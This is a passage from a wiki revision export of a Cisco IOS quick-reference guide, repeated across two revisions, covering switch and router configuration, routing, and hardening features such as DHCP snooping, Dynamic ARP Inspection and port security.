=== Disable PortFast on an interface ===<br />
<br />
interface GigabitEthernet0/1<br />
no spanning-tree portfast<br />
<br />
=== Best Practice: Enable BPDU Guard with PortFast ===<br />
Shuts down the port if a BPDU is received, protecting against loops.<br />
<br />
Per interface:<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
spanning-tree bpduguard enable<br />
<br />
Globally:<br />
spanning-tree portfast default<br />
spanning-tree bpduguard default<br />
<br />
=== Notes ===<br />
* Do '''not''' enable PortFast on ports connected to other switches<br />
* Recommended for access/edge ports<br />
* Incorrect use can cause Layer 2 loops<br />
<br />
== DHCP Snooping ==<br />
<br />
=== Enable DHCP Snooping globally ===<br />
Enable DHCP Snooping for the switch.<br />
<br />
ip dhcp snooping<br />
<br />
=== Enable DHCP Snooping on a VLAN ===<br />
DHCP Snooping only operates on specified VLANs.<br />
<br />
ip dhcp snooping vlan 10<br />
ip dhcp snooping vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Mark uplinks or ports connected to legitimate DHCP servers as trusted.<br />
<br />
interface GigabitEthernet0/1<br />
ip dhcp snooping trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. DHCP server responses are blocked.<br />
<br />
interface GigabitEthernet0/2<br />
no ip dhcp snooping trust<br />
<br />
=== Configure DHCP Snooping rate limiting ===<br />
Protect against DHCP starvation attacks. Limits to 15 DHCP packets per second, will mark port as violating otherwise.<br />
<br />
interface GigabitEthernet0/2<br />
ip dhcp snooping limit rate 15<br />
<br />
=== Verify DHCP Snooping status ===<br />
<br />
show ip dhcp snooping<br />
show ip dhcp snooping binding<br />
<br />
=== Disable DHCP Snooping ===<br />
<br />
no ip dhcp snooping<br />
no ip dhcp snooping vlan 10<br />
<br />
=== Notes ===<br />
* Only trusted ports can send DHCP server messages<br />
* Access ports should remain untrusted<br />
* Commonly used with '''Dynamic ARP Inspection''' and '''IP Source Guard'''<br />
* Requires correct VLAN configuration to function properly<br />
<br />
== Dynamic ARP Inspection (DAI) ==<br />
Dynamic ARP Inspection (DAI) is a security feature that validates ARP packets against a trusted database (typically built by DHCP Snooping) to prevent ARP spoofing and man-in-the-middle attacks. It intercepts ARP packets on untrusted ports, checks IP-to-MAC bindings, and drops invalid ones.<br />
<br />
=== Enable DAI globally ===<br />
Dynamic ARP Inspection requires DHCP Snooping to be enabled first (DAI uses the DHCP snooping binding table for validation).<br />
<br />
ip arp inspection<br />
<br />
=== Enable DAI on a VLAN ===<br />
Specify which VLANs should be protected.<br />
<br />
ip arp inspection vlan 10<br />
ip arp inspection vlan 20<br />
ip arp inspection vlan 10,20 (alternative: range)<br />
<br />
=== Configure trusted interfaces ===<br />
Trust uplinks and ports connected to other switches, routers, DHCP servers, or devices that should bypass DAI checks.<br />
<br />
interface GigabitEthernet0/1<br />
ip arp inspection trust<br />
<br />
Trusted ports forward ARP packets without validation.<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. Invalid ARP packets are dropped.<br />
<br />
interface GigabitEthernet0/2<br />
no ip arp inspection trust (optional; this is the default)<br />
<br />
=== Configure ARP rate limiting ===<br />
Protect against ARP flooding/DoS attacks. Default is 15 pps on untrusted ports (exceeding this can put the port in err-disable).<br />
<br />
interface GigabitEthernet0/2<br />
ip arp inspection limit rate 15 (example: 15 packets per second)<br />
ip arp inspection limit rate 100 burst interval 1 (optional: higher rate with burst)<br />
<br />
=== Additional Validation Checks ===<br />
By default, DAI validates only IP-to-MAC bindings from the DHCP snooping database. Enable extra checks (global config mode) to catch malformed ARP packets (highly recommended for stronger security).<br />
<br />
ip arp inspection validate src-mac<br />
ip arp inspection validate src-mac dst-mac ip (common: enable all three)<br />
<br />
Options:<br />
* '''src-mac''' — Checks source MAC in Ethernet header vs. sender MAC in ARP body (for requests and replies).<br />
* '''dst-mac''' — Checks destination MAC in Ethernet header vs. target MAC in ARP body (mainly for replies).<br />
* '''ip''' — Checks for invalid/unexpected IP addresses (e.g., 0.0.0.0, 255.255.255.255, multicast IPs) in ARP body.<br />
<br />
Each new <code>ip arp inspection validate</code> command '''overrides''' previous ones, so specify all desired options together.<br />
<br />
To disable: <code>no ip arp inspection validate [src-mac] [dst-mac] [ip]</code><br />
<br />
=== Verify DAI status ===<br />
show ip arp inspection<br />
show ip arp inspection vlan 10<br />
show ip arp inspection interfaces<br />
show ip arp inspection statistics (shows drops, rate limit violations)<br />
show ip arp inspection log (logs of dropped packets)<br />
<br />
=== Disable DAI ===<br />
no ip arp inspection<br />
no ip arp inspection vlan 10<br />
<br />
=== Notes ===<br />
* Requires '''DHCP Snooping''' to build the ARP binding table (enable with <code>ip dhcp snooping</code> + <code>ip dhcp snooping vlan ...</code>).<br />
* Only trusted ports can send unlimited ARP replies/packets (no validation or rate limiting).<br />
* Access ports should remain '''untrusted''' to enforce checks.<br />
* Commonly deployed with '''PortFast + BPDU Guard''' on access ports for loop/spanning-tree protection.<br />
* For non-DHCP environments, use static ARP ACLs: <code>ip arp inspection filter arp-acl-name vlan 10</code>.<br />
* Often combined with '''IP Source Guard''' (<code>ip verify source</code>) on access ports to filter IP traffic based on the same bindings.<br />
* Rate limiting helps prevent DoS; monitor with <code>show ip arp inspection statistics</code> and consider <code>errdisable recovery cause arp-inspection</code> for automatic port recovery.<br />
* Additional validation (<code>src-mac</code>, <code>dst-mac</code>, <code>ip</code>) catches MAC spoofing or malformed packets beyond basic binding checks—enable at least <code>src-mac</code> and <code>ip</code> in most production setups.<br />
* DAI is ingress-only (checks incoming packets on untrusted ports).<br />
<br />
== Port Security ==<br />
<br />
=== View status of port security on an interface ===<br />
show port-security interface f0/1<br />
<br />
=== Activate Port Security on an interface ===<br />
The port cannot be a dynamic port:<br />
switchport mode access<br />
Enable Port Security<br />
switchport port-security<br />
<br />
=== Set the maximum number of mac addresses that can be used on that port ===<br />
switchport port-security maximum 1<br />
<br />
=== Whitelist a specific mac address ===<br />
switchport port-security mac-address 0001.6311.E7BC<br />
<br />
=== Enable sticky mode to automatically learn mac addresses ===<br />
switchport port-security mac-address sticky<br />
<br />
=== Port Security Violation Modes ===<br />
==== Protect ====<br />
Silently drops packets from unknown MAC addresses while keeping the port up and generating no alerts.<br />
switchport port-security violation protect<br />
<br />
==== Restrict ====<br />
Drops packets from unknown MAC addresses and logs the violation while incrementing the security counter.<br />
switchport port-security violation restrict<br />
<br />
==== Shutdown ====<br />
Immediately disables the port when an unknown MAC address is detected, placing it into an error-disabled state.<br />
switchport port-security violation shutdown<br />
<br />
=== Port Security Aging ===<br />
==== Enable static aging on an interface ====<br />
switchport port-security aging static<br />
<br />
==== Enable timed aging on an interface (5 minutes) ====<br />
switchport port-security aging time 5<br />
<br />
= Routing =<br />
<br />
Routing is the process of forwarding packets between different networks using routing tables and routing protocols.<br />
<br />
=== Enable IP Routing (Layer 3 Switch) ===<br />
Required on multilayer switches to allow routing between VLANs.<br />
<br />
ip routing<br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<br />
ipv6 unicast-routing<br />
<br />
== Static Routing ==<br />
<br />
=== Configure a Static Route ===<br />
Manually define a path to a remote network. Here's an example using the default administrative distance value.<br />
<br />
ip route 192.168.2.0 255.255.255.0 192.168.1.1<br />
<br />
Manually define a path to a remote network and specify the administrative distance.<br />
<br />
ip route 192.168.2.0 255.255.255.0 192.168.1.1 10<br />
<br />
Format:<br />
<br />
ip route <destination-network> <subnet-mask> <next-hop-ip> <administrative-distance (optional)><br />
<br />
<br />
=== Configure a Fully Specified Static Route ===<br />
A fully specified static route includes both the next-hop IP address and the exit interface. This is commonly used on multi-access networks.<br />
<br />
Example:<br />
<br />
ip route 192.168.2.0 255.255.255.0 GigabitEthernet0/0 192.168.1.1<br />
<br />
You can also specify the administrative distance:<br />
<br />
ip route 192.168.2.0 255.255.255.0 GigabitEthernet0/0 192.168.1.1 10<br />
<br />
Format:<br />
<br />
ip route <destination-network> <subnet-mask> <exit-interface> <next-hop-ip> <administrative-distance (optional)><br />
<br />
=== Configure a Default Route / Default Gateway ===<br />
Route used when no specific route matches the destination.<br />
<br />
ip route 0.0.0.0 0.0.0.0 192.168.1.1<br />
<br />
ipv6 route ::/0 2001:ABC:33:44::1<br />
<br />
== Administrative Distance ==<br />
<br />
Determines which route is preferred when multiple routes to the same destination exist.<br />
<br />
Common values:<br />
Connected – 0<br />
Static – 1<br />
EIGRP – 90<br />
OSPF – 110<br />
RIP – 120<br />
<br />
Chart pulled from https://en.wikipedia.org/wiki/Administrative_distance#Default_administrative_distances<br />
{| class="wikitable" style="text-align:center"<br />
! Routing protocol !! Administrative distance<br />
|-<br />
| Directly connected interface || 0 (Only the interface itself has an administrative distance of 0, since a route cannot have a distance of less than 1.)<br />
|-<br />
| Static route || 1<br />
|-<br />
| Dynamic Mobile Network Routing (DMNR) || 3<br />
|-<br />
| EIGRP summary route || 5<br />
|-<br />
| External BGP || 20<br />
|-<br />
| EIGRP internal route || 90<br />
|-<br />
| IGRP || 100<br />
|-<br />
| Open Shortest Path First (OSPF) || 110<br />
|-<br />
| Intermediate System to Intermediate System (IS-IS) || 115<br />
|-<br />
| Routing Information Protocol (RIP) || 120<br />
|-<br />
| Exterior Gateway Protocol (EGP) || 140<br />
|-<br />
| On Demand Routing (ODR) || 160<br />
|-<br />
| EIGRP external route || 170<br />
|-<br />
| Internal BGP || 200<br />
|-<br />
| Next Hop Resolution Protocol (NHRP) || 250<br />
|-<br />
| Default static route learned via DHCP || 254<br />
|-<br />
| Unknown and unused || 255 (An administrative distance of 255 causes the router to remove the route from the routing table and not use it.)<br />
|}<br />
<br />
== Dynamic Routing ==<br />
<br />
Dynamic routing protocols automatically exchange routing information between routers.<br />
<br />
=== Configure RIP v2 ===<br />
Uses hop count as metric (maximum 15 hops).<br />
<br />
router rip<br />
version 2<br />
no auto-summary<br />
network 192.168.1.0<br />
<br />
<br />
=== Configure EIGRP ===<br />
Uses bandwidth and delay as composite metric.<br />
<br />
router eigrp 100<br />
no auto-summary<br />
network 192.168.1.0 0.0.0.255<br />
<br />
<br />
=== Configure OSPF ===<br />
Link-state protocol using cost as metric.<br />
<br />
router ospf 1<br />
network 192.168.1.0 0.0.0.255 area 0<br />
<br />
<br />
== Route Summarization ==<br />
<br />
Route summarization (aggregation) reduces routing table size by advertising one route that represents multiple networks.<br />
<br />
Example networks:<br />
192.168.0.0/24<br />
192.168.1.0/24<br />
192.168.2.0/24<br />
192.168.3.0/24<br />
<br />
Can be summarized as:<br />
192.168.0.0/22<br />
<br />
<br />
=== Configure Manual Summarization (EIGRP) ===<br />
Applied on the outgoing interface.<br />
<br />
interface GigabitEthernet0/0<br />
ip summary-address eigrp 100 192.168.0.0 255.255.252.0<br />
<br />
<br />
=== Configure Manual Summarization (OSPF ABR) ===<br />
Configured under the OSPF process (on an ABR).<br />
<br />
router ospf 1<br />
area 0 range 192.168.0.0 255.255.252.0<br />
<br />
<br />
== Show Routing Information ==<br />
<br />
=== View Routing Table ===<br />
<br />
show ip route<br />
<br />
<br />
=== View Specific Route ===<br />
<br />
show ip route 192.168.1.0<br />
<br />
<br />
=== View Routing Protocol Information ===<br />
<br />
show ip protocols</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1125
Cisco Commands
2026-02-23T22:43:32Z
<p>50.220.241.211: /* Administrative Distance */</p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | exclude {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ("elevate to root") ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
You can decrypt these with publicly available tools like https://keydecryptor.com/decryption-tools/cisco7<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway (switch) ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
interface range fa0/2-3,g0/1<br />
<br />
=== Enable Interface ===<br />
no shutdown<br />
<br />
=== Assign IPv4 Address ===<br />
ip address 192.168.0.1 255.255.255.0<br />
<br />
=== Assign IPv4 Default Gateway (Switch) ===<br />
ip default-gateway 192.168.0.254<br />
<br />
== Interface IPv6 Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre><br />
<br />
=== IPv6 ND Other-Config Flag ===<br />
Set the "Other Configuration" flag in IPv6 Neighbor Discovery (ND) messages. <br />
- When enabled, it signals to IPv6 hosts that they should obtain additional configuration information (such as DNS server addresses) via DHCPv6, even if they have a stateless autoconfigured address.<br />
<br />
ipv6 nd other-config-flag<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Access / Trunk Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
Configures the interface as an access port and assigns it to VLAN 10.<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Trunk Port ===<br />
Configures the interface as a trunk port using 802.1Q encapsulation.<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Trunk Allowed VLANs ===<br />
Specifies which VLANs are allowed to traverse the trunk link.<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
=== Trunk Native VLANs ===<br />
Sets the native VLAN for untagged traffic on the trunk.<br />
switchport trunk native vlan 99<br />
<br />
=== Trunk Nonegotiate ===<br />
Disables DTP (Dynamic Trunking Protocol) negotiation on the trunk interface.<br />
switchport nonegotiate<br />
<br />
== EtherChannel Configuration ==<br />
<br />
=== Create EtherChannel (LACP Active) ===<br />
Configures interfaces to actively negotiate EtherChannel using LACP.<br />
interface range g0/1 - 2<br />
channel-group 1 mode active<br />
<br />
=== Create EtherChannel (LACP Passive) ===<br />
Configures interfaces to respond to LACP negotiation.<br />
interface range g0/1 - 2<br />
channel-group 1 mode passive<br />
<br />
=== Create EtherChannel (On Mode) ===<br />
Forces EtherChannel without negotiation protocol.<br />
interface range g0/1 - 2<br />
channel-group 1 mode on<br />
<br />
=== Configure Port-Channel as Access Port ===<br />
Applies access configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Configure Port-Channel as Trunk ===<br />
Applies trunk configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Verify EtherChannel ===<br />
Displays EtherChannel status and summary information.<br />
show etherchannel summary<br />
<br />
=== Verify Port-Channel Interface ===<br />
Displays detailed information about the Port-Channel interface.<br />
show interfaces port-channel 1<br />
<br />
<br />
== DHCP ==<br />
<br />
=== Configure a DHCP Server on a Cisco Router ===<br />
Assigns IP addresses automatically to clients on a network.<br />
<br />
<pre><br />
ip dhcp excluded-address 192.168.1.1 192.168.1.10<br />
! Exclude addresses that should not be assigned dynamically<br />
<br />
ip dhcp pool LAN_POOL<br />
network 192.168.1.0 255.255.255.0<br />
default-router 192.168.1.1<br />
dns-server 8.8.8.8 8.8.4.4<br />
lease 7<br />
</pre><br />
<br />
* ''excluded-address'': Prevents certain IPs from being assigned (like static IPs for servers or routers). <br />
* ''network'': Defines the subnet for DHCP clients. <br />
* ''default-router'': Sets the gateway IP for clients. <br />
* ''dns-server'': Specifies DNS servers for clients. <br />
* ''lease'': Duration the IP is valid (in days). <br />
<br />
=== Configure DHCP Relay (IP Helper) ===<br />
Forwards DHCP requests from clients to a remote DHCP server.<br />
<br />
<pre><br />
interface GigabitEthernet0/1<br />
ip address 192.168.1.1 255.255.255.0<br />
ip helper-address 192.168.2.100<br />
</pre><br />
<br />
* ''ip helper-address'': IP of the DHCP server to forward requests to. <br />
* Needed when the server is on a different subnet. <br />
<br />
=== Verify DHCP Status ===<br />
<pre><br />
show ip dhcp binding ! Shows assigned IP addresses<br />
show ip dhcp pool ! Shows pool usage and statistics<br />
show running-config ! Check DHCP configuration<br />
</pre><br />
<br />
=== Best Practices ===<br />
* Exclude static IP addresses from DHCP pools. <br />
* Use ''DHCP relay'' when clients and server are on different subnets. <br />
* Monitor DHCP bindings to prevent IP conflicts.<br />
<br />
== Spanning Tree ==<br />
<br />
=== Enable PortFast on an interface ===<br />
Use PortFast on edge/access ports that connect to end devices.<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
<br />
=== Enable PortFast globally ===<br />
Enables PortFast on all access ports.<br />
<br />
spanning-tree portfast default<br />
<br />
=== Enable PortFast on a trunk (use with caution) ===<br />
Only use when the trunk connects to a single end device (not another switch).<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast trunk<br />
<br />
=== Verify PortFast status ===<br />
<br />
show spanning-tree interface GigabitEthernet0/1 detail<br />
<br />
=== Disable PortFast on an interface ===<br />
<br />
interface GigabitEthernet0/1<br />
no spanning-tree portfast<br />
<br />
=== Best Practice: Enable BPDU Guard with PortFast ===<br />
Shuts down the port if a BPDU is received, protecting against loops.<br />
<br />
Per interface:<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
spanning-tree bpduguard enable<br />
<br />
Globally:<br />
spanning-tree portfast default<br />
spanning-tree bpduguard default<br />
<br />
=== Notes ===<br />
* Do '''not''' enable PortFast on ports connected to other switches<br />
* Recommended for access/edge ports<br />
* Incorrect use can cause Layer 2 loops<br />
<br />
== DHCP Snooping ==<br />
<br />
=== Enable DHCP Snooping globally ===<br />
Enable DHCP Snooping for the switch.<br />
<br />
ip dhcp snooping<br />
<br />
=== Enable DHCP Snooping on a VLAN ===<br />
DHCP Snooping only operates on specified VLANs.<br />
<br />
ip dhcp snooping vlan 10<br />
ip dhcp snooping vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Mark uplinks or ports connected to legitimate DHCP servers as trusted.<br />
<br />
interface GigabitEthernet0/1<br />
ip dhcp snooping trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. DHCP server responses are blocked.<br />
<br />
interface GigabitEthernet0/2<br />
no ip dhcp snooping trust<br />
<br />
=== Configure DHCP Snooping rate limiting ===<br />
Protect against DHCP starvation attacks. Limits to 15 DHCP packets per second, will mark port as violating otherwise.<br />
<br />
interface GigabitEthernet0/2<br />
ip dhcp snooping limit rate 15<br />
<br />
=== Verify DHCP Snooping status ===<br />
<br />
show ip dhcp snooping<br />
show ip dhcp snooping binding<br />
<br />
=== Disable DHCP Snooping ===<br />
<br />
no ip dhcp snooping<br />
no ip dhcp snooping vlan 10<br />
<br />
=== Notes ===<br />
* Only trusted ports can send DHCP server messages<br />
* Access ports should remain untrusted<br />
* Commonly used with '''Dynamic ARP Inspection''' and '''IP Source Guard'''<br />
* Requires correct VLAN configuration to function properly<br />
<br />
== Dynamic ARP Inspection (DAI) ==<br />
Dynamic ARP Inspection (DAI) is a security feature that validates ARP packets against a trusted database (typically built by DHCP Snooping) to prevent ARP spoofing and man-in-the-middle attacks. It intercepts ARP packets on untrusted ports, checks IP-to-MAC bindings, and drops invalid ones.<br />
<br />
=== Enable DAI globally ===<br />
Dynamic ARP Inspection requires DHCP Snooping to be enabled first (DAI uses the DHCP snooping binding table for validation).<br />
<br />
ip arp inspection<br />
<br />
=== Enable DAI on a VLAN ===<br />
Specify which VLANs should be protected.<br />
<br />
ip arp inspection vlan 10<br />
ip arp inspection vlan 20<br />
ip arp inspection vlan 10,20 (alternative: range)<br />
<br />
=== Configure trusted interfaces ===<br />
Trust uplinks and ports connected to other switches, routers, DHCP servers, or devices that should bypass DAI checks.<br />
<br />
interface GigabitEthernet0/1<br />
ip arp inspection trust<br />
<br />
Trusted ports forward ARP packets without validation.<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. Invalid ARP packets are dropped.<br />
<br />
interface GigabitEthernet0/2<br />
no ip arp inspection trust (optional; this is the default)<br />
<br />
=== Configure ARP rate limiting ===<br />
Protect against ARP flooding/DoS attacks. Default is 15 pps on untrusted ports (exceeding this can put the port in err-disable).<br />
<br />
interface GigabitEthernet0/2<br />
ip arp inspection limit rate 15 (example: 15 packets per second)<br />
ip arp inspection limit rate 100 burst interval 1 (optional: higher rate with burst)<br />
<br />
=== Additional Validation Checks ===<br />
By default, DAI validates only IP-to-MAC bindings from the DHCP snooping database. Enable extra checks (global config mode) to catch malformed ARP packets (highly recommended for stronger security).<br />
<br />
ip arp inspection validate src-mac<br />
ip arp inspection validate src-mac dst-mac ip (common: enable all three)<br />
<br />
Options:<br />
* '''src-mac''' — Checks source MAC in Ethernet header vs. sender MAC in ARP body (for requests and replies).<br />
* '''dst-mac''' — Checks destination MAC in Ethernet header vs. target MAC in ARP body (mainly for replies).<br />
* '''ip''' — Checks for invalid/unexpected IP addresses (e.g., 0.0.0.0, 255.255.255.255, multicast IPs) in ARP body.<br />
<br />
Each new <code>ip arp inspection validate</code> command '''overrides''' previous ones, so specify all desired options together.<br />
<br />
To disable: <code>no ip arp inspection validate [src-mac] [dst-mac] [ip]</code><br />
<br />
=== Verify DAI status ===<br />
show ip arp inspection<br />
show ip arp inspection vlan 10<br />
show ip arp inspection interfaces<br />
show ip arp inspection statistics (shows drops, rate limit violations)<br />
show ip arp inspection log (logs of dropped packets)<br />
<br />
=== Disable DAI ===<br />
no ip arp inspection<br />
no ip arp inspection vlan 10<br />
<br />
=== Notes ===<br />
* Requires '''DHCP Snooping''' to build the ARP binding table (enable with <code>ip dhcp snooping</code> + <code>ip dhcp snooping vlan ...</code>).<br />
* Only trusted ports can send unlimited ARP replies/packets (no validation or rate limiting).<br />
* Access ports should remain '''untrusted''' to enforce checks.<br />
* Commonly deployed with '''PortFast + BPDU Guard''' on access ports for loop/spanning-tree protection.<br />
* For non-DHCP environments, use static ARP ACLs: <code>ip arp inspection filter arp-acl-name vlan 10</code>.<br />
* Often combined with '''IP Source Guard''' (<code>ip verify source</code>) on access ports to filter IP traffic based on the same bindings.<br />
* Rate limiting helps prevent DoS; monitor with <code>show ip arp inspection statistics</code> and consider <code>errdisable recovery cause arp-inspection</code> for automatic port recovery.<br />
* Additional validation (<code>src-mac</code>, <code>dst-mac</code>, <code>ip</code>) catches MAC spoofing or malformed packets beyond basic binding checks—enable at least <code>src-mac</code> and <code>ip</code> in most production setups.<br />
* DAI is ingress-only (checks incoming packets on untrusted ports).<br />
<br />
== Port Security ==<br />
<br />
=== View status of port security on an interface ===<br />
show port-security interface f0/1<br />
<br />
=== Activate Port Security on an interface ===<br />
The port cannot be a dynamic port:<br />
switchport mode access<br />
Enable Port Security<br />
switchport port-security<br />
<br />
=== Set the maximum number of mac addresses that can be used on that port ===<br />
switchport port-security maximum 1<br />
<br />
=== Whitelist a specific mac address ===<br />
switchport port-security mac-address 0001.6311.E7BC<br />
<br />
=== Enable sticky mode to automatically learn mac addresses ===<br />
switchport port-security mac-address sticky<br />
<br />
=== Port Security Violation Modes ===<br />
==== Protect ====<br />
Silently drops packets from unknown MAC addresses while keeping the port up and generating no alerts.<br />
switchport port-security violation protect<br />
<br />
==== Restrict ====<br />
Drops packets from unknown MAC addresses and logs the violation while incrementing the security counter.<br />
switchport port-security violation restrict<br />
<br />
==== Shutdown ====<br />
Immediately disables the port when an unknown MAC address is detected, placing it into an error-disabled state.<br />
switchport port-security violation shutdown<br />
<br />
=== Port Security Aging ===<br />
==== Enable static aging on an interface ====<br />
switchport port-security aging static<br />
<br />
==== Enable timed aging on an interface (5 minutes) ====<br />
switchport port-security aging time 5<br />
<br />
= Routing =<br />
<br />
Routing is the process of forwarding packets between different networks using routing tables and routing protocols.<br />
<br />
=== Enable IP Routing (Layer 3 Switch) ===<br />
Required on multilayer switches to allow routing between VLANs.<br />
<br />
ip routing<br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<br />
ipv6 unicast-routing<br />
<br />
== Static Routing ==<br />
<br />
=== Configure a Static Route ===<br />
Manually define a path to a remote network. Here's an example using default administrative distance values listed in the section below.<br />
<br />
ip route 192.168.2.0 255.255.255.0 192.168.1.1<br />
<br />
Manually define a path to a remote network. Here's an example manually defining the administrative distance<br />
<br />
ip route 192.168.2.0 255.255.255.0 192.168.1.1 10<br />
<br />
Format:<br />
ip route <destination-network> <subnet-mask> <next-hop-ip> <administrative distance (optional)><br />
<br />
=== Configure a Default Route / Default Gateway ===<br />
Route used when no specific route matches the destination.<br />
<br />
ip route 0.0.0.0 0.0.0.0 192.168.1.1<br />
<br />
ipv6 route ::/0 2001:ABC:33:44::1<br />
<br />
== Administrative Distance ==<br />
<br />
Determines which route is preferred when multiple routes to the same destination exist.<br />
<br />
Common values:<br />
Connected – 0<br />
Static – 1<br />
EIGRP – 90<br />
OSPF – 110<br />
RIP – 120<br />
<br />
Chart pulled from https://en.wikipedia.org/wiki/Administrative_distance#Default_administrative_distances<br />
{| class="wikitable" style="text-align:center"<br />
! Routing protocol !! Administrative distance<br />
|-<br />
| Directly connected interface || 0 (Only the interface itself has an administrative distance of 0, since a route cannot have a distance of less than 1.)<br />
|-<br />
| Static route || 1<br />
|-<br />
| Dynamic Mobile Network Routing (DMNR) || 3<br />
|-<br />
| EIGRP summary route || 5<br />
|-<br />
| External BGP || 20<br />
|-<br />
| EIGRP internal route || 90<br />
|-<br />
| IGRP || 100<br />
|-<br />
| Open Shortest Path First (OSPF) || 110<br />
|-<br />
| Intermediate System to Intermediate System (IS-IS) || 115<br />
|-<br />
| Routing Information Protocol (RIP) || 120<br />
|-<br />
| Exterior Gateway Protocol (EGP) || 140<br />
|-<br />
| On Demand Routing (ODR) || 160<br />
|-<br />
| EIGRP external route || 170<br />
|-<br />
| Internal BGP || 200<br />
|-<br />
| Next Hop Resolution Protocol (NHRP) || 250<br />
|-<br />
| Default static route learned via DHCP || 254<br />
|-<br />
